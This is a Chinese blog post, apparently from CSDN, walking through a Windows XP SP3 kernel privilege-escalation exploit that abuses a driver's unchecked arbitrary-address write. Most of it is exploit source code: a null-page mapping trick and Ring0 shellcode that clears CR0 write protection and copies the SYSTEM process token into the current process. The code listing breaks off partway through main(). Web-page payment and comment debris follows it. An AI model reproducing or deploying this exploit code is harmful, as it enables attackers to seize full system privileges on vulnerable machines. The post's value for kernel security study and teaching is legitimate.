内核提权,任意地址写任意数据/固定数据模型

本文通过实验环境XP SP3展示了如何利用内核漏洞进行提权。通过将内核函数设为0,然后在用户模式(R3)中获取0地址指针并拷贝shellcode,绕过 ProbeForRead/Write 检查,导致任意地址写入。修复方案涉及异常处理块和 ProbeForRead/Write 的使用。
摘要由CSDN通过智能技术生成

实验环境 xp sp3

此实验将一个不常用的内核函数置0,然后R3申请了0地址的指针,将shellcode拷到此内存,内核并没有做ProbeForRead /Write检查

直接对传入的数据进行了修改,造成了任意地址写任意数据漏洞 ,提权了R3程序为system权限


R3代码

主要获得一个函数的地址,将函数地址传入R0 

R0将此函数地址置0,然后R3申请了一个0地址,将shellcode拷到了申请的内存中,然后调用被置0的函数,触发了shellcode

// exploit.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "ntapi.h"
#include <conio.h>  
#pragma comment(linker,"/defaultlib:ntdll.lib")  

#define PAGE_SIZE 0x1000
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003
#define KERNEL_NAME_LENGTH 0x0D
#define BUFFER_LENGTH 0x04

//触发漏洞使用的IoControlCode
#define IOCTL_METHOD_NEITHER 0x8888A003
 
int g_uCr0 = 0;
int g_isRing0ShellcodeCalled = 0;

//Ring0中执行的Shellcode 
NTSTATUS Ring0ShellCode(    
						ULONG InformationClass,
						ULONG BufferSize,
						PVOID Buffer,
						PULONG ReturnedLength)
{
	//打开内核写
	__asm
	{
		cli;
		mov eax, cr0;
		mov g_uCr0,eax; 
		and eax,0xFFFEFFFF; 
		mov cr0, eax; 
	}
	//USEFULL FOR XP SP3
	__asm
	{
		//KPCR 
		//由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region)
		//即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构, 
		//这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息. 
		//通常fs段寄存器在内核模式下指向KPCR, 用户模式下指向TEB.
		//http://blog.csdn.net/hu3167343/article/details/7612595
		//http://huaidan.org/archives/2081.html
		mov eax, 0xffdff124  //KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]获取当前线程的ETHREAD指针。
		mov eax,[eax] //PETHREAD
		mov esi,[eax+0x220] //PEPROCESS
		mov eax, esi
searchXp:
		mov eax,[eax+0x88] //NEXT EPROCESS
		sub eax,0x88
		mov edx,[eax+0x84] //PID
		cmp edx,0x4	//SYSTEM PID
		jne searchXp
		mov eax, [eax+0xc8] //SYSTEM TOKEN
		mov [esi+0xc8],eax //CURRENT PROCESS TOKEN
	}
	//关闭内核写
	__asm
	{
		sti;
		mov eax, g_uCr0;
		mov cr0,eax;
	}

	g_isRing0ShellcodeCalled = 1;
	return 0;
}  

//申请内存的函数
PVOID MyAllocateMemory(IN ULONG Length)
{
	NTSTATUS NtStatus;
	PVOID BaseAddress = NULL;
	NtStatus = NtAllocateVirtualMemory(
		NtCurrentProcess(),
		&BaseAddress,
		0,
		&Length,
		MEM_RESERVE |
		MEM_COMMIT,
		PAGE_READWRITE);
	if(NtStatus == STATUS_SUCCESS)
	{
		RtlZeroMemory(BaseAddress, Length);
		return BaseAddress;
	}
	return NULL;
}

//释放内存的函数
VOID MyFreeMemory(IN PVOID BaseAddress)
{
	NTSTATUS NtStatus;
	ULONG FreeSize = 0;
	NtStatus = NtFreeVirtualMemory(
		NtCurrentProcess(),
		&BaseAddress,
		&FreeSize,
		MEM_RELEASE);
}

//main函数
int main(int argc, char* argv[])
{
	NTSTATUS NtStatus;
	HANDLE DeviceHandle=NULL;
	ULONG ReturnLength = 0;
	ULONG ImageBase;
	PVOID MappedBase=NULL;
	UCHAR ImageName[KERNEL_NAME_LENGTH];
	ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
	PVOID HalDispatchTable;
	PVOID xHalQuerySystemInformation;
	ULONG ShellCodeSize = PAGE_SIZE;
	PVOID ShellCodeAddress;
	PVOID BaseAddress = NULL;
	UNICODE_STRING DeviceName;
	UNICODE_STRING DllName;
	ANSI_STRING ProcedureName;
	OBJECT_ATTRIBUTES ObjectAttributes;
	IO_STATUS_BLOCK IoStatusBlock;
	SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
	LARGE_INTEGER Interval;
	ULONG InputData=0;

	//清空控制台屏幕
	system("cls");

	//printf("Please press any key to exploit");
	//getch();
	//从line 139-->line 214都是在获取内核函数xHalQuerySystemInformation的内存地址
	//获取内核模块列表数据长度到ReturnLength
	NtStatus = NtQuerySystemInformation(
		SystemModule
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值